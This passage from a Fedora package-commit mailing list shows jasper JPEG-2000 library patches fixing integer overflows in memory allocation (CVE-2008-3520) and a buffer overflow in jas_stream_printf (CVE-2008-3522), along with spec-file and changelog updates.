@@ -219,7 +219,7 @@ int jpc_enc_enccblk(jpc_enc_t *enc, jas_
 
 	cblk->numpasses = (cblk->numbps > 0) ? (3 * cblk->numbps - 2) : 0;
 	if (cblk->numpasses > 0) {
-		cblk->passes = jas_malloc(cblk->numpasses * sizeof(jpc_enc_pass_t));
+		cblk->passes = jas_alloc2(cblk->numpasses, sizeof(jpc_enc_pass_t));
 		assert(cblk->passes);
 	} else {
 		cblk->passes = 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2cod.c jasper-1.900.1/src/libjasper/jpc/jpc_t2cod.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2cod.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2cod.c	2009-10-22 10:27:45.000000000 +0200
@@ -573,7 +573,7 @@ int jpc_pchglist_insert(jpc_pchglist_t *
 	}
 	if (pchglist->numpchgs >= pchglist->maxpchgs) {
 		newmaxpchgs = pchglist->maxpchgs + 128;
-		if (!(newpchgs = jas_realloc(pchglist->pchgs, newmaxpchgs * sizeof(jpc_pchg_t *)))) {
+		if (!(newpchgs = jas_realloc2(pchglist->pchgs, newmaxpchgs, sizeof(jpc_pchg_t *)))) {
 			return -1;
 		}
 		pchglist->maxpchgs = newmaxpchgs;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2dec.c jasper-1.900.1/src/libjasper/jpc/jpc_t2dec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2dec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -478,7 +478,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 		return 0;
 	}
 	pi->numcomps = dec->numcomps;
-	if (!(pi->picomps = jas_malloc(pi->numcomps * sizeof(jpc_picomp_t)))) {
+	if (!(pi->picomps = jas_alloc2(pi->numcomps, sizeof(jpc_picomp_t)))) {
 		jpc_pi_destroy(pi);
 		return 0;
 	}
@@ -490,7 +490,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 	for (compno = 0, tcomp = tile->tcomps, picomp = pi->picomps;
 	  compno < pi->numcomps; ++compno, ++tcomp, ++picomp) {
 		picomp->numrlvls = tcomp->numrlvls;
-		if (!(picomp->pirlvls = jas_malloc(picomp->numrlvls *
+		if (!(picomp->pirlvls = jas_alloc2(picomp->numrlvls,
 		  sizeof(jpc_pirlvl_t)))) {
 			jpc_pi_destroy(pi);
 			return 0;
@@ -503,7 +503,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 		  rlvlno < picomp->numrlvls; ++rlvlno, ++pirlvl, ++rlvl) {
 /* XXX sizeof(long) should be sizeof different type */
 			pirlvl->numprcs = rlvl->numprcs;
-			if (!(pirlvl->prclyrnos = jas_malloc(pirlvl->numprcs *
+			if (!(pirlvl->prclyrnos = jas_alloc2(pirlvl->numprcs,
 			  sizeof(long)))) {
 				jpc_pi_destroy(pi);
 				return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2enc.c jasper-1.900.1/src/libjasper/jpc/jpc_t2enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -565,7 +565,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 	}
 	pi->pktno = -1;
 	pi->numcomps = cp->numcmpts;
-	if (!(pi->picomps = jas_malloc(pi->numcomps * sizeof(jpc_picomp_t)))) {
+	if (!(pi->picomps = jas_alloc2(pi->numcomps, sizeof(jpc_picomp_t)))) {
 		jpc_pi_destroy(pi);
 		return 0;
 	}
@@ -577,7 +577,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 	for (compno = 0, tcomp = tile->tcmpts, picomp = pi->picomps;
 	  compno < pi->numcomps; ++compno, ++tcomp, ++picomp) {
 		picomp->numrlvls = tcomp->numrlvls;
-		if (!(picomp->pirlvls = jas_malloc(picomp->numrlvls *
+		if (!(picomp->pirlvls = jas_alloc2(picomp->numrlvls,
 		  sizeof(jpc_pirlvl_t)))) {
 			jpc_pi_destroy(pi);
 			return 0;
@@ -591,7 +591,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 /* XXX sizeof(long) should be sizeof different type */
 			pirlvl->numprcs = rlvl->numprcs;
 			if (rlvl->numprcs) {
-				if (!(pirlvl->prclyrnos = jas_malloc(pirlvl->numprcs *
+				if (!(pirlvl->prclyrnos = jas_alloc2(pirlvl->numprcs,
 				  sizeof(long)))) {
 					jpc_pi_destroy(pi);
 					return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_tagtree.c jasper-1.900.1/src/libjasper/jpc/jpc_tagtree.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_tagtree.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_tagtree.c	2009-10-22 10:27:45.000000000 +0200
@@ -125,7 +125,7 @@ jpc_tagtree_t *jpc_tagtree_create(int nu
 		++numlvls;
 	} while (n > 1);
 
-	if (!(tree->nodes_ = jas_malloc(tree->numnodes_ * sizeof(jpc_tagtreenode_t)))) {
+	if (!(tree->nodes_ = jas_alloc2(tree->numnodes_, sizeof(jpc_tagtreenode_t)))) {
 		return 0;
 	}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_util.c jasper-1.900.1/src/libjasper/jpc/jpc_util.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_util.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_util.c	2009-10-22 10:27:45.000000000 +0200
@@ -109,7 +109,7 @@ int jpc_atoaf(char *s, int *numvalues, d
 	}
 
 	if (n) {
-		if (!(vs = jas_malloc(n * sizeof(double)))) {
+		if (!(vs = jas_alloc2(n, sizeof(double)))) {
 			return -1;
 		}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/mif/mif_cod.c jasper-1.900.1/src/libjasper/mif/mif_cod.c
--- jasper-1.900.1.orig/src/libjasper/mif/mif_cod.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/mif/mif_cod.c	2009-10-22 10:27:45.000000000 +0200
@@ -438,8 +438,7 @@ static int mif_hdr_growcmpts(mif_hdr_t *
 	int cmptno;
 	mif_cmpt_t **newcmpts;
 	assert(maxcmpts >= hdr->numcmpts);
-	newcmpts = (!hdr->cmpts) ? jas_malloc(maxcmpts * sizeof(mif_cmpt_t *)) :
-	  jas_realloc(hdr->cmpts, maxcmpts * sizeof(mif_cmpt_t *));
+	newcmpts = jas_realloc2(hdr->cmpts, maxcmpts, sizeof(mif_cmpt_t *));
 	if (!newcmpts) {
 		return -1;
 	}

jasper-1.900.1-CVE-2008-3522.patch:
 jas_stream.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE jasper-1.900.1-CVE-2008-3522.patch ---
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3522

diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_stream.c jasper-1.900.1/src/libjasper/base/jas_stream.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_stream.c	2009-10-22 10:27:45.000000000 +0200
+++ jasper-1.900.1/src/libjasper/base/jas_stream.c	2009-10-22 10:35:53.000000000 +0200
@@ -553,7 +553,7 @@ int jas_stream_printf(jas_stream_t *stre
 	int ret;
 
 	va_start(ap, fmt);
-	ret = vsprintf(buf, fmt, ap);
+	ret = vsnprintf(buf, sizeof buf, fmt, ap);
 	jas_stream_puts(stream, buf);
 	va_end(ap);
 	return ret;

jasper-1.701.0-GL-ac.patch:
 configure.ac |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: jasper-1.701.0-GL-ac.patch
===================================================================
RCS file: /cvs/pkgs/rpms/jasper/EL-5/jasper-1.701.0-GL-ac.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- jasper-1.701.0-GL-ac.patch	1 Mar 2006 18:16:10 -0000	1.1
+++ jasper-1.701.0-GL-ac.patch	26 Oct 2009 16:49:38 -0000	1.2
@@ -5,7 +5,7 @@
  if test $ENABLE_OPENGL = yes; then
  	if test $HAVE_OPENGL = no; then
 -		TMPLIBS="-lglut -lGL -lGLU $X_PRE_LIBS -lX11 -lXmu -lXi -lXext -lXt $X_EXTRA_LIBS $X_LIBS"
-+		TMPLIBS="-lglut"
++		TMPLIBS="-lglut -lGLU"
  		AC_CHECK_LIB(glut, glutInit, [HAVE_OPENGL=yes;
  		  OPENGL_LIBS=$TMPLIBS], HAVE_OPENGL=no, $TMPLIBS)
  	fi

jasper-1.701.0-GL.patch:
 configure |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: jasper-1.701.0-GL.patch
===================================================================
RCS file: /cvs/pkgs/rpms/jasper/EL-5/jasper-1.701.0-GL.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- jasper-1.701.0-GL.patch	1 Mar 2006 18:12:26 -0000	1.4
+++ jasper-1.701.0-GL.patch	26 Oct 2009 16:49:38 -0000	1.5
@@ -5,7 +5,7 @@
  if test $ENABLE_OPENGL = yes; then
  	if test $HAVE_OPENGL = no; then
 -		TMPLIBS="-lglut -lGL -lGLU $X_PRE_LIBS -lX11 -lXmu -lXi -lXext -lXt $X_EXTRA_LIBS $X_LIBS"
-+		TMPLIBS="-lglut"
++		TMPLIBS="-lglut -lGLU"
  		echo "$as_me:$LINENO: checking for glutInit in -lglut" >&5
  echo $ECHO_N "checking for glutInit in -lglut... $ECHO_C" >&6
  if test "${ac_cv_lib_glut_glutInit+set}" = set; then


Index: jasper.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jasper/EL-5/jasper.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- jasper.spec	25 Jan 2009 16:22:45 -0000	1.21
+++ jasper.spec	26 Oct 2009 16:49:38 -0000	1.22
@@ -7,7 +7,7 @@ Summary: Implementation of the JPEG-2000
 Name:    jasper
 Group:   System Environment/Libraries
 Version: 1.900.1
-Release: 9%{?dist}
+Release: 13%{?dist}
 
 License: JasPer
 URL:     http://www.ece.uvic.ca/~mdadams/jasper/
@@ -22,12 +22,17 @@ Patch2: jasper-1.701.0-GL-ac.patch
 Patch3: patch-libjasper-stepsizes-overflow.diff
 # borrowed from http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=469786 
 Patch4: jpc_dec.c.patch
-
+# OpenBSD hardening patches addressing couple of possible integer overflows
+# during the memory allocations
+# https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3520
+Patch5: jasper-1.900.1-CVE-2008-3520.patch
+# https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3522
+Patch6: jasper-1.900.1-CVE-2008-3522.patch
 
 BuildRequires: automake 
 BuildRequires: libjpeg-devel
-# "freeglut-devel: Requires: libGL-devel libGLU-devel" (#179464)
-BuildRequires: freeglut-devel libGL-devel libGLU-devel
+BuildRequires: freeglut-devel 
+BuildRequires: libGLU-devel
 
 Requires: %{name}-libs = %{version}-%{release}
 
@@ -48,6 +53,7 @@ Requires: libjpeg-devel
 %package libs 
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
+Conflicts: jasper < 1.900.1-4
 %description libs 
 %{summary}.
 
@@ -66,6 +72,8 @@ Requires: %{name} = %{version}-%{release
 %patch1 -p1 -b .GL
 %patch3 -p1 -b .CVE-2007-2721
 %patch4 -p1 -b .jpc_dec_assertion
+%patch5 -p1 -b .CVE-2008-3520
+%patch6 -p1 -b .CVE-2008-3522
 
 
 %build
@@ -127,6 +135,20 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 13 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-13
+- CVE-2008-3520 jasper: multiple integer overflows in jas_alloc calls (#461476)
+- CVE-2008-3522 jasper: possible buffer overflow in 
+  jas_stream_printf() (#461478)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.900.1-12
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sat Jul 18 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-11
+- FTBFS jasper-1.900.1-10.fc11 (#511743)
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.900.1-10
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Sun Jan 25 2009 Rex Dieter <rdieter at fedoraproject.org> 1.900.1-9
 - patch for "jpc_dec_tiledecode: Assertion `dec->numcomps == 3' failed)
   (#481284, #481291)



From rdieter at fedoraproject.org  Mon Oct 26 16:49:59 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 16:49:59 +0000 (UTC)
Subject: rpms/jasper/EL-4 jasper-1.701.0-GL-ac.patch, 1.1,
	1.2 jasper-1.701.0-GL.patch, 1.4, 1.5 jasper.spec, 1.22, 1.23
Message-ID: <20091026164959.F001B11C0268@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/jasper/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32353

Modified Files:
	jasper-1.701.0-GL-ac.patch jasper-1.701.0-GL.patch jasper.spec 
Log Message:
* Mon Oct 13 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-13
- CVE-2008-3520 jasper: multiple integer overflows in jas_alloc calls (#461476)
- CVE-2008-3522 jasper: possible buffer overflow in 
  jas_stream_printf() (#461478)


jasper-1.701.0-GL-ac.patch:
 configure.ac |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: jasper-1.701.0-GL-ac.patch
===================================================================
RCS file: /cvs/pkgs/rpms/jasper/EL-4/jasper-1.701.0-GL-ac.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- jasper-1.701.0-GL-ac.patch	1 Mar 2006 18:16:10 -0000	1.1
+++ jasper-1.701.0-GL-ac.patch	26 Oct 2009 16:49:59 -0000	1.2
@@ -5,7 +5,7 @@
  if test $ENABLE_OPENGL = yes; then
  	if test $HAVE_OPENGL = no; then
 -		TMPLIBS="-lglut -lGL -lGLU $X_PRE_LIBS -lX11 -lXmu -lXi -lXext -lXt $X_EXTRA_LIBS $X_LIBS"
-+		TMPLIBS="-lglut"
++		TMPLIBS="-lglut -lGLU"
  		AC_CHECK_LIB(glut, glutInit, [HAVE_OPENGL=yes;
  		  OPENGL_LIBS=$TMPLIBS], HAVE_OPENGL=no, $TMPLIBS)
  	fi

jasper-1.701.0-GL.patch:
 configure |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: jasper-1.701.0-GL.patch
===================================================================
RCS file: /cvs/pkgs/rpms/jasper/EL-4/jasper-1.701.0-GL.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- jasper-1.701.0-GL.patch	1 Mar 2006 18:12:26 -0000	1.4
+++ jasper-1.701.0-GL.patch	26 Oct 2009 16:49:59 -0000	1.5
@@ -5,7 +5,7 @@
  if test $ENABLE_OPENGL = yes; then
  	if test $HAVE_OPENGL = no; then
 -		TMPLIBS="-lglut -lGL -lGLU $X_PRE_LIBS -lX11 -lXmu -lXi -lXext -lXt $X_EXTRA_LIBS $X_LIBS"
-+		TMPLIBS="-lglut"
++		TMPLIBS="-lglut -lGLU"
  		echo "$as_me:$LINENO: checking for glutInit in -lglut" >&5
  echo $ECHO_N "checking for glutInit in -lglut... $ECHO_C" >&6
  if test "${ac_cv_lib_glut_glutInit+set}" = set; then


Index: jasper.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jasper/EL-4/jasper.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- jasper.spec	25 Jan 2009 16:22:20 -0000	1.22
+++ jasper.spec	26 Oct 2009 16:49:59 -0000	1.23
@@ -7,7 +7,7 @@ Summary: Implementation of the JPEG-2000
 Name:    jasper
 Group:   System Environment/Libraries
 Version: 1.900.1
-Release: 9%{?dist}
+Release: 13%{?dist}
 
 License: JasPer
 URL:     http://www.ece.uvic.ca/~mdadams/jasper/
@@ -22,12 +22,17 @@ Patch2: jasper-1.701.0-GL-ac.patch
 Patch3: patch-libjasper-stepsizes-overflow.diff
 # borrowed from http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=469786 
 Patch4: jpc_dec.c.patch
-
+# OpenBSD hardening patches addressing couple of possible integer overflows
+# during the memory allocations
+# https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3520
+Patch5: jasper-1.900.1-CVE-2008-3520.patch
+# https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3522
+Patch6: jasper-1.900.1-CVE-2008-3522.patch
 
 BuildRequires: automake 
 BuildRequires: libjpeg-devel
-# "freeglut-devel: Requires: libGL-devel libGLU-devel" (#179464)
-BuildRequires: freeglut-devel libGL-devel libGLU-devel
+BuildRequires: freeglut-devel 
+BuildRequires: libGLU-devel
 
 Requires: %{name}-libs = %{version}-%{release}
 
@@ -48,6 +53,7 @@ Requires: libjpeg-devel
 %package libs 
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
+Conflicts: jasper < 1.900.1-4
 %description libs 
 %{summary}.
 
@@ -66,6 +72,8 @@ Requires: %{name} = %{version}-%{release
 %patch1 -p1 -b .GL
 %patch3 -p1 -b .CVE-2007-2721
 %patch4 -p1 -b .jpc_dec_assertion
+%patch5 -p1 -b .CVE-2008-3520
+%patch6 -p1 -b .CVE-2008-3522
 
 
 %build
@@ -127,6 +135,20 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 13 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-13
+- CVE-2008-3520 jasper: multiple integer overflows in jas_alloc calls (#461476)
+- CVE-2008-3522 jasper: possible buffer overflow in 
+  jas_stream_printf() (#461478)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.900.1-12
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sat Jul 18 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-11
+- FTBFS jasper-1.900.1-10.fc11 (#511743)
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.900.1-10
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Sun Jan 25 2009 Rex Dieter <rdieter at fedoraproject.org> 1.900.1-9
 - patch for "jpc_dec_tiledecode: Assertion `dec->numcomps == 3' failed)
   (#481284, #481291)



From rdieter at fedoraproject.org  Mon Oct 26 16:51:19 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 16:51:19 +0000 (UTC)
Subject: rpms/jasper/EL-4 jasper-1.900.1-CVE-2008-3520.patch, NONE,
	1.1 jasper-1.900.1-CVE-2008-3522.patch, NONE, 1.1
Message-ID: <20091026165119.0971E11C0268@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/jasper/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv335

Added Files:
	jasper-1.900.1-CVE-2008-3520.patch 
	jasper-1.900.1-CVE-2008-3522.patch 
Log Message:
* Mon Oct 13 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-13
- CVE-2008-3520 jasper: multiple integer overflows in jas_alloc calls (#461476)
- CVE-2008-3522 jasper: possible buffer overflow in 
  jas_stream_printf() (#461478)


jasper-1.900.1-CVE-2008-3520.patch:
 base/jas_cm.c               |   11 ++++-----
 base/jas_icc.c              |   39 +++++++++++++++++------------------
 base/jas_image.c            |    5 +---
 base/jas_malloc.c           |   49 +++++++++++++++++++++++++++++++++++++-------
 base/jas_seq.c              |    6 ++---
 base/jas_stream.c           |    4 +--
 bmp/bmp_dec.c               |    2 -
 include/jasper/jas_malloc.h |    9 ++++++++
 jp2/jp2_cod.c               |   14 ++++++------
 jp2/jp2_dec.c               |    4 +--
 jp2/jp2_enc.c               |    4 +--
 jpc/jpc_cs.c                |   14 ++++++------
 jpc/jpc_dec.c               |   27 +++++++++++-------------
 jpc/jpc_enc.c               |   20 ++++++++---------
 jpc/jpc_mqdec.c             |    2 -
 jpc/jpc_mqenc.c             |    2 -
 jpc/jpc_qmfb.c              |   16 +++++++-------
 jpc/jpc_t1enc.c             |    2 -
 jpc/jpc_t2cod.c             |    2 -
 jpc/jpc_t2dec.c             |    6 ++---
 jpc/jpc_t2enc.c             |    6 ++---
 jpc/jpc_tagtree.c           |    2 -
 jpc/jpc_util.c              |    2 -
 mif/mif_cod.c               |    3 --
 24 files changed, 145 insertions(+), 106 deletions(-)

--- NEW FILE jasper-1.900.1-CVE-2008-3520.patch ---
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3520

OpenBSD jas_malloc hardening patches

diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_cm.c jasper-1.900.1/src/libjasper/base/jas_cm.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_cm.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_cm.c	2009-10-22 10:27:45.000000000 +0200
@@ -704,8 +704,7 @@ static int jas_cmpxformseq_resize(jas_cm
 {
 	jas_cmpxform_t **p;
 	assert(n >= pxformseq->numpxforms);
-	p = (!pxformseq->pxforms) ? jas_malloc(n * sizeof(jas_cmpxform_t *)) :
-	  jas_realloc(pxformseq->pxforms, n * sizeof(jas_cmpxform_t *));
+	p = jas_realloc2(pxformseq->pxforms, n, sizeof(jas_cmpxform_t *));
 	if (!p) {
 		return -1;
 	}
@@ -889,13 +888,13 @@ static int jas_cmshapmatlut_set(jas_cmsh
 	jas_cmshapmatlut_cleanup(lut);
 	if (curv->numents == 0) {
 		lut->size = 2;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		lut->data[0] = 0.0;
 		lut->data[1] = 1.0;
 	} else if (curv->numents == 1) {
 		lut->size = 256;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		gamma = curv->ents[0] / 256.0;
 		for (i = 0; i < lut->size; ++i) {
@@ -903,7 +902,7 @@ static int jas_cmshapmatlut_set(jas_cmsh
 		}
 	} else {
 		lut->size = curv->numents;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		for (i = 0; i < lut->size; ++i) {
 			lut->data[i] = curv->ents[i] / 65535.0;
@@ -953,7 +952,7 @@ static int jas_cmshapmatlut_invert(jas_c
 			return -1;
 		}
 	}
-	if (!(invlut->data = jas_malloc(n * sizeof(jas_cmreal_t))))
+	if (!(invlut->data = jas_alloc2(n, sizeof(jas_cmreal_t))))
 		return -1;
 	invlut->size = n;
 	for (i = 0; i < invlut->size; ++i) {
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_icc.c jasper-1.900.1/src/libjasper/base/jas_icc.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_icc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_icc.c	2009-10-22 10:27:45.000000000 +0200
@@ -373,7 +373,7 @@ int jas_iccprof_save(jas_iccprof_t *prof
 	jas_icctagtab_t *tagtab;
 
 	tagtab = &prof->tagtab;
-	if (!(tagtab->ents = jas_malloc(prof->attrtab->numattrs *
+	if (!(tagtab->ents = jas_alloc2(prof->attrtab->numattrs,
 	  sizeof(jas_icctagtabent_t))))
 		goto error;
 	tagtab->numents = prof->attrtab->numattrs;
@@ -522,7 +522,7 @@ static int jas_iccprof_gettagtab(jas_str
 	}
 	if (jas_iccgetuint32(in, &tagtab->numents))
 		goto error;
-	if (!(tagtab->ents = jas_malloc(tagtab->numents *
+	if (!(tagtab->ents = jas_alloc2(tagtab->numents,
 	  sizeof(jas_icctagtabent_t))))
 		goto error;
 	tagtabent = tagtab->ents;
@@ -743,8 +743,7 @@ static int jas_iccattrtab_resize(jas_icc
 {
 	jas_iccattr_t *newattrs;
 	assert(maxents >= tab->numattrs);
-	newattrs = tab->attrs ? jas_realloc(tab->attrs, maxents *
-	  sizeof(jas_iccattr_t)) : jas_malloc(maxents * sizeof(jas_iccattr_t));
+	newattrs = jas_realloc2(tab->attrs, maxents, sizeof(jas_iccattr_t));
 	if (!newattrs)
 		return -1;
 	tab->attrs = newattrs;
@@ -999,7 +998,7 @@ static int jas_icccurv_input(jas_iccattr
 
 	if (jas_iccgetuint32(in, &curv->numents))
 		goto error;
-	if (!(curv->ents = jas_malloc(curv->numents * sizeof(jas_iccuint16_t))))
+	if (!(curv->ents = jas_alloc2(curv->numents, sizeof(jas_iccuint16_t))))
 		goto error;
 	for (i = 0; i < curv->numents; ++i) {
 		if (jas_iccgetuint16(in, &curv->ents[i]))
@@ -1100,7 +1099,7 @@ static int jas_icctxtdesc_input(jas_icca
 	if (jas_iccgetuint32(in, &txtdesc->uclangcode) ||
 	  jas_iccgetuint32(in, &txtdesc->uclen))
 		goto error;
-	if (!(txtdesc->ucdata = jas_malloc(txtdesc->uclen * 2)))
+	if (!(txtdesc->ucdata = jas_alloc2(txtdesc->uclen, 2)))
 		goto error;
 	if (jas_stream_read(in, txtdesc->ucdata, txtdesc->uclen * 2) !=
 	  JAS_CAST(int, txtdesc->uclen * 2))
@@ -1292,17 +1291,17 @@ static int jas_icclut8_input(jas_iccattr
 	  jas_iccgetuint16(in, &lut8->numouttabents))
 		goto error;
 	clutsize = jas_iccpowi(lut8->clutlen, lut8->numinchans) * lut8->numoutchans;
-	if (!(lut8->clut = jas_malloc(clutsize * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->intabsbuf = jas_malloc(lut8->numinchans *
-	  lut8->numintabents * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->intabs = jas_malloc(lut8->numinchans *
+	if (!(lut8->clut = jas_alloc2(clutsize, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->intabsbuf = jas_alloc3(lut8->numinchans,
+	  lut8->numintabents, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->intabs = jas_alloc2(lut8->numinchans,
 	  sizeof(jas_iccuint8_t *))))
 		goto error;
 	for (i = 0; i < lut8->numinchans; ++i)
 		lut8->intabs[i] = &lut8->intabsbuf[i * lut8->numintabents];
-	if (!(lut8->outtabsbuf = jas_malloc(lut8->numoutchans *
-	  lut8->numouttabents * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->outtabs = jas_malloc(lut8->numoutchans *
+	if (!(lut8->outtabsbuf = jas_alloc3(lut8->numoutchans,
+	  lut8->numouttabents, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->outtabs = jas_alloc2(lut8->numoutchans,
 	  sizeof(jas_iccuint8_t *))))
 		goto error;
 	for (i = 0; i < lut8->numoutchans; ++i)
@@ -1461,17 +1460,17 @@ static int jas_icclut16_input(jas_iccatt
 	  jas_iccgetuint16(in, &lut16->numouttabents))
 		goto error;
 	clutsize = jas_iccpowi(lut16->clutlen, lut16->numinchans) * lut16->numoutchans;
-	if (!(lut16->clut = jas_malloc(clutsize * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->intabsbuf = jas_malloc(lut16->numinchans *
-	  lut16->numintabents * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->intabs = jas_malloc(lut16->numinchans *
+	if (!(lut16->clut = jas_alloc2(clutsize, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->intabsbuf = jas_alloc3(lut16->numinchans,
+	  lut16->numintabents, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->intabs = jas_alloc2(lut16->numinchans,
 	  sizeof(jas_iccuint16_t *))))
 		goto error;
 	for (i = 0; i < lut16->numinchans; ++i)
 		lut16->intabs[i] = &lut16->intabsbuf[i * lut16->numintabents];
-	if (!(lut16->outtabsbuf = jas_malloc(lut16->numoutchans *
-	  lut16->numouttabents * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->outtabs = jas_malloc(lut16->numoutchans *
+	if (!(lut16->outtabsbuf = jas_alloc3(lut16->numoutchans,
+	  lut16->numouttabents, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->outtabs = jas_alloc2(lut16->numoutchans,
 	  sizeof(jas_iccuint16_t *))))
 		goto error;
 	for (i = 0; i < lut16->numoutchans; ++i)
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_image.c jasper-1.900.1/src/libjasper/base/jas_image.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_image.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_image.c	2009-10-22 10:27:45.000000000 +0200
@@ -142,7 +142,7 @@ jas_image_t *jas_image_create(int numcmp
 	image->inmem_ = true;
 
 	/* Allocate memory for the per-component information. */
-	if (!(image->cmpts_ = jas_malloc(image->maxcmpts_ *
